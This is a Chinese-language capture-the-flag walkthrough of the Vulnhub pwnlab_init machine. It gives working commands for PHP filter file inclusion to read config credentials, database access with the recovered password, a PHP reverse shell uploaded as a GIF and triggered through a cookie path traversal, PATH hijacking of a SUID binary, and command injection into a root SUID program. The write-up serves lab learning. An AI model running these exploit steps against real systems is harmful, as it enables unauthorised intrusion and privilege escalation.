Vulnhub靶场之pwnlab_init

Vulnhub靶场之pwnlab_init相关内容

下载地址

image-20260420090535594

操作环境

攻击机:kali2026.1

image-20260420090702820

虚拟网卡

VMnet19:192.168.19.0/24

信息收集

主机探测

arp-scan -l

image-20260420091047736

靶机ip为192.168.19.134

端口探测

nmap -p- 192.168.19.134

image-20260420091328380

开放了80端口,在浏览器中访问一下

端口访问

image-20260420091719607

在主页中没有发现什么有用的内容,尝试扫描目录

目录扫描

dirsearch -u "192.168.19.134"

image-20260420092616496

三个页面,两个页面对应了主页以外的两个跳转,config.php是突破点

漏洞发现

任意点击一个跳转链接,发现是get类型的文件包含,不是直接跳转到该页面

image-20260420092829678

尝试使用SSRF中的php伪协议读取配置文件

?page=php://filter/convert.base64-encode/resource=config

image-20260420093422877

进行base64解码

php -a
echo base64_decode("PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+");

image-20260420094008691

获取了数据库信息

远程连接数据库

mysql -h 192.168.19.134 -u root -p --skip-ssl
H4u%QJ_H99

image-20260420095040275

查看一下数据库中的信息

show databases;
use Users;
show tables;
select * from users;

image-20260420095342857

任意选择一个用户,解密密码,并尝试登录

php -a
echo base64_decode("aVN2NVltMkdSbw==");

image-20260420095713750

得到用户 kane/iSv5Ym2GRo

image-20260420095952952

登录成功

漏洞利用

查看上传的源码

?page=php://filter/convert.base64-encode/resource=upload
echo base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==</center>");

image-20260420101425387

得到页面源码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php 
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png"); 

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

对文件后缀,使用getimagesize检查图片等其他条件

找到webshell下的监听木马

image-20260421143855601

修改配置

nano php-reverse-shell.php

image-20260421144130311

创建一个gif文件,只包含头即可

nano 1.gif
GIF89a

上传gif,并抓包,发送到重放器

image-20260421144856370

复制粘贴到burpsuite中

image-20260421145929764

image-20260421150009274

点击发送,上传成功,复制文件名

image-20260421152103684

nc -lvnp 1234
# 再开个终端
crul -v --cookie "lang=../upload/b5e9b4f86ce43ca65bd79c894c4a924c.gif"

image-20260421153444607

成功getshell

提权

将终端升级为交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20260425141832230

www-data是Web 服务进程 专门创建的低权限系统用户。

切换到正常用户

su - kane
iSv5Ym2GRo

查看文件权限

ls -al

image-20260425142136738

file msgmike

image-20260425142618678

发现特suid文件msgmike

./msgmike

image-20260425142419946

通过修改环境变量劫持命令的方法来获取mike的权限

将文本内容/bin/bash添加到一个名为cat的文件中,在环境变量最前面添加/tmp路径。 这样该程序执行的实际就是bash命令。

echo "/bin/bash" > cat
chmod 777 cat
export PATH=/home/kane:$PATH
./msgmike

image-20260425142958836

mike用户提权到root

cd /home/mike
ls -al

image-20260425143117402

发现suid文件msg2root

./msg2root

image-20260425143258207

查看msg2root

image-20260425143730324

典型的 Shell 命令模板,它的作用是:
调用系统命令 /bin/echo
%s 是一个占位符,会被程序里的用户输入替换
>> /root/messages.txt 是 Shell 的追加重定向,把 echo 的输出追加写入 /root/messages.txt 文件中
1 && python -c "import os;import pty;os.setuid(0);os.setgid(0);pty.spawn('/bin/bash')";

image-20260425144425110

寻找flag

image-20260425144516152

文章评论